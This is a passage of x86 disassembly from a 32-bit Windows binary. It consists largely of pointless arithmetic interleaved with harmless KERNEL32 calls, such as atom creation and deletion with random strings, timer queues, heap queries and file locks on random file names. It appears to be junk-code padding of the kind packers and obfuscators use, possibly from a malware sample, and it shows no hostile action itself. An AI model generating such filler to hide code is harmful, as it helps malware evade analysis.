add eax, edx
mov ecx, dword [ebp - 0x5094]
mov byte [ecx], al
mov edx, dword [ebp - 0x4674]
mov eax, dword [edx]
mov dword [ebp - 0x56b4], eax
lea ecx, [ebp - 0x32fc]
mov dword [0x100bc268], ecx
movsx edx, byte [0x100b85e2]
mov eax, dword [ebp - 0x4f6c]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x4b20]
mov byte [eax], dl
push str.BF0PAHr
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc26c], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4d80], eax
mov ecx, dword [0x100bbf88]
mov dx, word [ecx]
mov word [ebp - 0x198c], dx
mov eax, dword [ebp - 0x5600]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x37a0]
movsx eax, word [edx]
sub ecx, eax
mov edx, dword [0x100b9558]
mov word [edx], cx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100bc270], eax
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x56b8], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x56bc], eax
mov ecx, dword [0x100ba974]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x4fb0]
shl edx, cl
mov dword [ebp - 0x5368], edx
movzx eax, word [0x100ba76c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x134c], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x56c0], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100bbea0], eax
lea ecx, [ebp - 0x1300]
mov dword [0x100bc274], ecx
mov edx, dword [ebp - 0x306c]
imul edx, dword [ebp - 0x46a4]
mov dword [ebp - 0x3028], edx
lea eax, [ebp - 0x2ef]
mov dword [ebp - 0x56c4], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x56c8], eax
lea ecx, [ebp - 0x1160]
mov dword [0x100bc278], ecx
movzx edx, byte [ebp - 0xa1]
mov eax, dword [ebp - 0x54a8]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x23], dl
mov edx, dword [ebp - 0x47f4]
mov eax, dword [ebp - 0x3744]
or eax, dword [edx]
mov ecx, dword [ebp - 0x4040]
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100bc27c], eax
mov edx, dword [ebp - 0x3a5c]
movsx eax, byte [edx]
mov ecx, dword [0x100bb5a0]
movsx ecx, byte [ecx]
sar eax, cl
mov byte [0x100b860b], al
mov dx, word [ebp - 0x1510]
mov word [ebp - 0x1990], dx
push 0
push 0x2cfd
push 0x2902
push 0x432a
push 1
mov eax, dword [ebp - 0x400c]
push eax
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [0x100bc280], eax
push 0x100b98c0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push str.ZVVCo_RYuzIUT
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1994], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x3734], eax
movzx ecx, word [ebp - 0x1040]
movzx edx, word [0x100b7218]
add ecx, edx
mov word [ebp - 0x1650], cx
mov eax, dword [ebp - 0x3124]
and eax, dword [ebp - 0x2ce8]
mov dword [0x100bb108], eax
mov ecx, dword [ebp - 0x418c]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x457c]
movsx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0xf00], dx
push 0
push 0x2d34
push 0x17b3
push 0x7dd6
push 2
mov edx, dword [0x100bbb98]
push edx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x49cc], eax
push 0x100bc284
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, byte [ebp - 0x2d0]
mov ecx, dword [ebp - 0x5328]
movzx ecx, byte [ecx]
shl eax, cl
mov edx, dword [ebp - 0x386c]
mov byte [edx], al
mov eax, dword [0x100baa24]
mov ecx, dword [eax]
mov dword [0x100bc2a8], ecx
movsx edx, byte [ebp - 0x2c7]
movsx eax, byte [ebp - 0x267]
xor edx, eax
mov ecx, dword [ebp - 0x46e8]
mov byte [ecx], dl
mov dword [ebp - 0x56cc], 0x100b7268
push 0
push 0x80
push 5
push 0
push 1
push 0xc0000000
push str.DS9ddgd29OF8
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x56d0], eax
push 0
push 0x400
push 1
push 0
push 4
push 0x40000000
push str.fvfjV4yJIecuP
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100bc2ac], eax
mov dword [0x100bc2b0], 0x100bbcb8
movsx edx, byte [ebp - 0x301]
mov eax, dword [0x100baa04]
movsx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x50e0]
mov byte [eax], dl
mov ecx, dword [ebp - 0x350c]
mov edx, dword [ebp - 0x3e80]
mov ecx, dword [ecx]
shr edx, cl
mov dword [0x100bab84], edx
movzx eax, word [0x100b9bbc]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1998], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bc2b4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x38ac], eax
mov ecx, dword [ebp - 0x3d6c]
mov dx, word [ecx]
mov word [ebp - 0x199c], dx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x56d4], eax
lea eax, [ebp - 0x2c8]
mov dword [ebp - 0x56d8], eax
lea ecx, [ebp - 0x2e60]
mov dword [0x100bc2b8], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bbf38], eax
mov edx, dword [ebp - 0x42ec]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x5488]
movzx edx, word [ecx]
or eax, edx
mov ecx, dword [ebp - 0x4a70]
mov word [ecx], ax
push str.UdyrC1
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc2bc], ax
mov edx, dword [0x100b7364]
and edx, dword [ebp - 0x3214]
mov dword [ebp - 0x4ed4], edx
mov eax, dword [ebp - 0x4e58]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x4d30]
movsx eax, word [edx]
xor ecx, eax
mov word [0x100bad48], cx
push 1
lea ecx, [ebp - 0x9914]
push ecx
mov edx, dword [0x100baa34]
push edx
mov eax, dword [0x100baa30]
push eax
mov ecx, dword [ebp - 0x3f7c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x56dc], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bc2c0], eax
mov edx, dword [ebp - 0x456c]
sub edx, dword [ebp - 0x4910]
mov dword [ebp - 0x2c14], edx
lea eax, [ebp - 0x32a]
mov dword [ebp - 0x56e0], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4eb4], eax
mov ecx, dword [0x100bb990]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x2a7]
shl edx, cl
mov byte [0x100b7f46], dl
mov eax, dword [ebp - 0x49b0]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x5108]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x5114]
mov byte [edx], cl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9f2c], eax
mov eax, dword [ebp - 0x4aac]
mov ecx, dword [ebp - 0x4b38]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x32a8], edx
lea eax, [ebp - 0xb53c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea ecx, [ebp - 0x2f7]
mov dword [0x100bc2c4], ecx
push str.Fuw0ML4KpBkU4Ssa
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc2c8], ax
mov dx, word [ebp - 0xa80]
mov word [ebp - 0x19a0], dx
movzx eax, word [0x100babd8]
movzx ecx, word [ebp - 0x980]
and eax, ecx
mov edx, dword [ebp - 0x3ee4]
mov word [edx], ax
mov eax, dword [0x100bb314]
mov ecx, dword [ebp - 0x463c]
mov edx, dword [eax]
imul edx, dword [ecx]
mov dword [0x100b7508], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x56e4], eax
movsx eax, byte [ebp - 0x1ab]
movsx ecx, byte [ebp - 0x107]
or eax, ecx
mov byte [ebp - 0x98], al
lea edx, [ebp - 0x49bc]
mov dword [ebp - 0x56e8], edx
mov eax, dword [0x100bb248]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x17d]
xor ecx, edx
mov byte [0x100b7df7], cl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba160], eax
lea eax, [ebp - 0xb6ec]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba6f4], eax
movzx eax, word [0x100bb4a8]
cdq
mov ecx, 0x2db
idiv ecx
mov edx, dword [ebp - 0x548c]
mov word [edx], ax
movzx eax, word [ebp - 0x16c0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bc2cc], ax
movsx ecx, word [0x100b749c]
movsx edx, word [ebp - 0x5a0]
add ecx, edx
mov eax, dword [ebp - 0x36ac]
mov word [eax], cx
mov dword [0x100bc2d0], 0x100b7e73
lea ecx, [ebp - 0x1968]
mov dword [ebp - 0x56ec], ecx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bc2d4], eax
mov edx, dword [ebp - 0x55d4]
mov eax, dword [0x100bb7dc]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x3730], edx
mov eax, dword [0x100b72fc]
and eax, dword [ebp - 0x429c]
mov dword [0x100bb1f8], eax
push str.uct.1dueO_HiiIa
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x19a4], ax
movzx edx, byte [ebp - 0x2d8]
movzx ecx, byte [0x100b802f]
sar edx, cl
mov byte [ebp - 0x126], dl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x4d94], eax
push 0x937
push 0x2aec
push 0x383e
push 0x2eae
mov eax, dword [0x100b9b6c]
push eax
call dword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [0x100bbcac], eax
lea ecx, [ebp - 0x1438]
mov dword [ebp - 0x56f0], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x56f4], eax
movsx edx, byte [ebp - 0x222]
mov eax, dword [ebp - 0x3c10]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [str._w_tY_], dl
movzx eax, word [ebp - 0xc24]
movzx ecx, word [0x100b7260]
cdq
idiv ecx
mov word [ebp - 0x14f0], ax
mov edx, dword [ebp - 0x2c5c]
add edx, dword [ebp - 0x3ee8]
mov eax, dword [ebp - 0x4ab0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4c74]
mov edx, dword [ecx]
or edx, dword [0x100bb480]
mov dword [0x100b73e4], edx
lea eax, [ebp - 0x36]
mov dword [ebp - 0x56f8], eax
mov ecx, dword [0x100b96ec]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x383c]
movsx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x229], dl
lea edx, [ebp - 0xb008]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x47f0]
movsx ecx, word [eax]
movsx edx, word [0x100ba8b4]
sub ecx, edx
mov word [0x100b7220], cx
mov eax, dword [ebp - 0x36f0]
mov cx, word [eax]
mov word [ebp - 0x19a8], cx
mov edx, dword [0x100bc268]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x3f6c]
shl eax, cl
mov dword [ebp - 0x2f10], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100bc2d8], eax
mov cl, byte [0x100b72e7]
mov byte [0x100b86f2], cl
lea edx, [ebp - 0x2e8]
mov dword [ebp - 0x56fc], edx
mov eax, dword [ebp - 0x4ca8]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x46dc]
shr edx, cl
mov eax, dword [ebp - 0x4100]
mov dword [eax], edx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100bc2dc], eax
movzx ecx, word [ebp - 0x119c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x19ac], ax
push 0x100b9b78
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea edx, [ebp - 0xc6c]
mov dword [0x100bc2e0], edx
mov ax, word [0x100bab7c]
mov word [ebp - 0x19b0], ax
lea ecx, [ebp - 0x2b5c]
mov dword [ebp - 0x5700], ecx
movsx edx, byte [ebp - 0x179]
mov eax, dword [ebp - 0x3d38]
movsx ecx, byte [eax]
xor edx, ecx
mov eax, dword [0x100ba5e4]
mov byte [eax], dl
mov ecx, dword [ebp - 0x386c]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x164]
add edx, eax
mov ecx, dword [ebp - 0x4238]
mov byte [ecx], dl
movzx edx, word [0x100b7448]
movzx eax, word [ebp - 0x15c8]
and edx, eax
mov word [ebp - 0xc40], dx
lea ecx, [ebp - 0x5d0]
mov dword [0x100bc2e4], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x4f10], eax
push 0
push 0x100ba910
mov edx, dword [0x100bc2ec]
push edx
mov eax, dword [0x100bc2e8]
push eax
mov ecx, dword [0x100bbbdc]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x5704], eax
mov edx, dword [ebp - 0x48e8]
mov eax, dword [ebp - 0x38e4]
xor eax, dword [edx]
mov dword [ebp - 0x3acc], eax
mov ecx, dword [0x100b9c34]
movsx edx, word [ecx]
movsx eax, word [0x100b95ec]
or edx, eax
mov ecx, dword [ebp - 0x5150]
mov word [ecx], dx
mov edx, dword [ebp - 0x43d0]
mov eax, dword [ebp - 0x54a0]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [0x100badf4]
mov dword [eax], edx
mov dword [ebp - 0x5708], 0x100b8092
mov ecx, dword [ebp - 0x4598]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x21]
sar edx, cl
mov byte [0x100b73a3], dl
lea eax, [ebp - 0xb41c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x570c], eax
movzx ecx, word [ebp - 0x1098]
movzx edx, word [ebp - 0xec8]
add ecx, edx
mov eax, dword [ebp - 0x3bc0]
mov word [eax], cx
mov ecx, dword [0x100b7318]
mov dword [ebp - 0x5710], ecx
mov edx, dword [0x100bbde8]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea eax, [ebp - 0x3114]
mov dword [0x100bc2f0], eax
mov ecx, dword [ebp - 0x509c]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x1788]
and edx, eax
mov word [ebp - 0x1834], dx
movsx ecx, byte [ebp - 0x181]
mov edx, dword [ebp - 0x4ae4]
movsx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x211], cl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x5714], eax
movzx ecx, byte [ebp - 0x17d]
mov edx, dword [0x100bb16c]
movzx eax, byte [edx]
add ecx, eax
mov byte [0x100b73ab], cl
lea ecx, [ebp - 0x2b6]
mov dword [ebp - 0x5718], ecx
mov edx, dword [ebp - 0x355c]
mov eax, dword [0x100b7498]
sub eax, dword [edx]
mov dword [ebp - 0x2fd8], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100bc2f4], eax
mov ecx, dword [ebp - 0x3d90]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edx, dword [ebp - 0x53a8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x648]
or eax, ecx
mov word [0x100b7500], ax
mov dword [ebp - 0x571c], 0x100b73f4
push 0x100baf30
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push str.T748ivlcqWHc_7R76
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc2f8], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x4f10], eax
mov edx, dword [ebp - 0x4d08]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x38e4]
shl eax, cl
mov ecx, dword [ebp - 0x5060]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4064]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3cfc]
movzx ecx, byte [ecx]
sar eax, cl
mov byte [0x100b7fd3], al
mov edx, dword [ebp - 0x3f90]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x3bb4]
movsx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x4b60]
mov byte [ecx], al
push str.D7uswt3
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x19b4], ax
lea edx, [ebp - 0x2f1c]
mov dword [ebp - 0x5720], edx
mov dword [0x100bc2fc], 0x100bb5d0
push str.HaUBcd_Jb7
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc300], ax
mov dword [ebp - 0x5724], 0x100b7298
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x5728], eax
movzx eax, word [ebp - 0x550]
imul ecx, eax, 0x521
mov edx, dword [ebp - 0x4a0c]
mov word [edx], cx
mov al, byte [ebp - 0x312]
mov byte [0x100b86f3], al
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba460], eax
mov ecx, dword [ebp - 0x32ec]
mov dword [ebp - 0x572c], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100bb204], eax
mov edx, dword [0x100bb5f8]
mov eax, dword [ebp - 0x2c84]
add eax, dword [edx]
mov dword [ebp - 0x3f4c], eax
mov ecx, dword [ebp - 0x3dcc]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x1f6]
and edx, eax
mov byte [0x100b717b], dl
lea ecx, [ebp - 0xfd4]
mov dword [ebp - 0x5730], ecx
mov edx, dword [ebp - 0x47e8]
movsx eax, word [edx]
mov ecx, dword [0x100bc278]
movsx ecx, word [ecx]
sar eax, cl
mov word [ebp - 0xf2c], ax
movzx edx, word [ebp - 0x19b4]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bc304], ax
lea eax, [ebp - 0x38]
mov dword [0x100bc308], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x39b4], eax
lea ecx, [ebp - 0xf4]
mov dword [ebp - 0x5734], ecx
mov edx, dword [0x100bae44]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x4fd0]
shl eax, cl
mov ecx, dword [ebp - 0x5090]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4b28]
mov eax, dword [ebp - 0x3b90]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [0x100b745c], ecx
movsx edx, byte [ebp - 0x26a]
mov eax, dword [0x100b9b24]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x275], dl
push str.EpQsmmw
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x19b8], ax
lea edx, [ebp - 0x1548]
mov dword [ebp - 0x5738], edx
mov eax, dword [ebp - 0x4ce8]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x5450]
movsx eax, word [edx]
add ecx, eax
mov word [0x100b750c], cx
mov ecx, dword [ebp - 0x4340]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3bb0]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0xcc], dl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9c14], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x573c], eax
lea edx, [ebp - 0x4400]
mov dword [ebp - 0x5740], edx
mov eax, dword [ebp - 0x540c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x139c]
imul ecx, edx
mov word [0x100b99e8], cx
mov eax, dword [ebp - 0x3fe0]
mov ecx, dword [ebp - 0x3938]
mov edx, dword [eax]
mov ecx, dword [ecx]
shr edx, cl
mov eax, dword [ebp - 0x4db8]
mov dword [eax], edx
push str.eSVLIu7.Zq7fY4NW
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc30c], ax
movsx ecx, byte [ebp - 0x2e9]
movsx edx, byte [ebp - 0x26a]
sub ecx, edx
mov byte [ebp - 0x24a], cl
mov ax, word [ebp - 0x768]
mov word [0x100bc310], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3a3c], eax
movzx edx, byte [ebp - 0x32a]
movzx ecx, byte [ebp - 0x2aa]
shl edx, cl
mov byte [ebp - 0x13a], dl
mov eax, dword [ebp - 0x40f8]
mov ecx, dword [ebp - 0x498c]
mov edx, dword [eax]
or edx, dword [ecx]
mov dword [ebp - 0x31d8], edx
push 0x351c
push 0x38d5
push 0x1139
push 0x355c
mov eax, dword [0x100ba718]
push eax
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [0x100bc314], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x5744], eax
movsx ecx, byte [ebp - 0x1e5]
mov edx, dword [ebp - 0x3d48]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [0x100b998c]
mov byte [edx], cl
mov ax, word [0x100bbd94]
mov word [ebp - 0x19bc], ax
push 0x100bc318
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x51a8], eax
mov ecx, dword [0x100b9730]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x15c8]
and edx, eax
mov word [ebp - 0x14f0], dx
mov ecx, dword [0x100ba624]
mov edx, dword [ebp - 0x462c]
mov eax, dword [ecx]
imul eax, dword [edx]
mov dword [0x100bae60], eax
lea ecx, [ebp - 0xd54]
mov dword [ebp - 0x5748], ecx
push str.bFVzEx
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x19c0], ax
mov edx, dword [0x100ba5b8]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0x23c1
push 0
lea eax, [ebp - 0x4dc4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100bc33c], eax
mov ecx, dword [ebp - 0x56e0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x289]
xor edx, eax
mov byte [ebp - 0x238], dl
push 0x100bb37c
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x5168], eax
mov edx, dword [ebp - 0x47a8]
mov ecx, dword [ebp - 0x569c]
sar edx, cl
mov dword [0x100b7510], edx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x574c], eax
mov eax, dword [ebp - 0x39b0]
movsx ecx, byte [eax]
mov edx, dword [0x100bc114]
movsx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x138], cl
lea ecx, [ebp - 0x1148]
mov dword [ebp - 0x5750], ecx
mov edx, dword [0x100ba03c]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x5754], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100bc340], eax
movzx eax, word [ebp - 0x1784]
movzx ecx, word [0x100b72dc]
shl eax, cl
mov word [0x100b73ac], ax
push str.skS2hfp_C7b8baCd_0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100bc344], ax
mov dword [ebp - 0x5758], 0x100b7e73
lea ecx, [ebp - 0x456c]
mov dword [0x100bc348], ecx
movsx edx, word [ebp - 0xc74]
mov eax, dword [ebp - 0x56f0]
movsx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x7d8], dx
mov edx, dword [ebp - 0x3620]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x4044]
movzx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x3d2c]
mov byte [ecx], al
mov edx, dword [ebp - 0x3214]
or edx, dword [ebp - 0x459c]
mov dword [0x100b7384], edx
movzx eax, word [0x100b7218]
movzx ecx, word [ebp - 0x12a8]
sar eax, cl
mov word [ebp - 0xbc8], ax
mov ecx, dword [0x100b7234]
mov dword [ebp - 0x575c], ecx
lea edx, [ebp - 0x184c]
mov dword [0x100bc34c], edx
push 0
push 0x8f3
push 0x2f05
push 0x11b6
push 2
mov eax, dword [ebp - 0x4c7c]
push eax
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x5760], eax
mov ecx, dword [0x100bbe84]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x2dbc]
mov dword [ebp - 0x4938], edx
movzx eax, byte [ebp - 0x303]
mov ecx, dword [ebp - 0x54e4]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x9c], al
mov eax, dword [ebp - 0x3dd4]
mov cl, byte [eax]
mov byte [0x100b8702], cl
movsx edx, byte [ebp - 0xa5]
mov eax, dword [ebp - 0x4e20]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x5708]
mov byte [eax], dl
lea ecx, [ebp - 0x53f0]
mov dword [ebp - 0x5764], ecx
movzx edx, byte [ebp - 0xf3]
mov eax, dword [ebp - 0x3d9c]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [0x100b7216], dl
movsx edx, word [ebp - 0x628]
mov eax, dword [ebp - 0x4138]
movsx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x14d0], dx
movzx ecx, word [0x100badf8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bc350], ax
movzx edx, word [ebp - 0x8a8]
mov eax, dword [ebp - 0x42ec]
movzx ecx, word [eax]
xor edx, ecx
mov eax, dword [ebp - 0x4e34]
mov word [eax], dx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x3b08], eax
movzx ecx, word [0x100b98fc]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x19c4], ax
mov edx, dword [0x100b97f4]
mov eax, dword [ebp - 0x37ec]
or eax, dword [edx]
mov ecx, dword [0x100b98b0]
mov dword [ecx], eax
lea edx, [ebp - 0x7a]
mov dword [ebp - 0x5768], edx
mov eax, dword [ebp - 0x48f8]
mov ecx, dword [0x100b9620]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x3ffc], edx
lea eax, [ebp - 0x259]
mov dword [0x100bc354], eax
mov ecx, dword [ebp - 0x5560]
mov dx, word [ecx]
mov word [ebp - 0x19c8], dx
movsx eax, word [ebp - 0x628]
mov ecx, dword [0x100baab0]
movsx edx, word [ecx]
add eax, edx
mov ecx, dword [ebp - 0x37a0]
mov word [ecx], ax
lea edx, [ebp - 0x335]
mov dword [0x100bc358], edx
mov eax, dword [ebp - 0x5590]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100ba6ec], eax
movzx ecx, word [ebp - 0xeb4]
movzx edx, word [ebp - 0x504]
and ecx, edx
mov word [ebp - 0x7c0], cx
mov eax, dword [ebp - 0x3f50]
mov ecx, dword [eax]
imul ecx, dword [ebp - 0x4774]
mov dword [ebp - 0x2dc4], ecx
mov edx, dword [0x100ba4f0]
mov ecx, dword [ebp - 0x32ac]
shl edx, cl
mov dword [0x100b7468], edx
push 0x100bc35c
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [ebp - 0x576c], 0x100b802f
push 0
push 0x100
push 2
push 0
push 2
push 0x80000000
push str.NVE9SC6dKcz5HmLg1ZC2
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x5770], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x375c], eax
movzx eax, word [0x100ba5cc]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100bc374], ax
push 1
lea ecx, [ebp - 0x987c]
push ecx
mov edx, dword [0x100bc37c]
push edx
mov eax, dword [0x100bc378]
push eax
mov ecx, dword [ebp - 0x3554]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x5774], eax
mov edx, dword [0x100bc2f4]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x5778], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100bc380], eax
mov eax, dword [ebp - 0x503c]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x51dc]
movsx eax, word [edx]
xor ecx, eax
mov word [ebp - 0x155c], cx
mov ecx, dword [ebp - 0x3ec0]
movsx edx, byte [ecx]
mov eax, dword [0x100bb500]
movsx ecx, byte [eax]
xor edx, ecx
mov eax, dword [0x100ba2d4]
mov byte [eax], dl
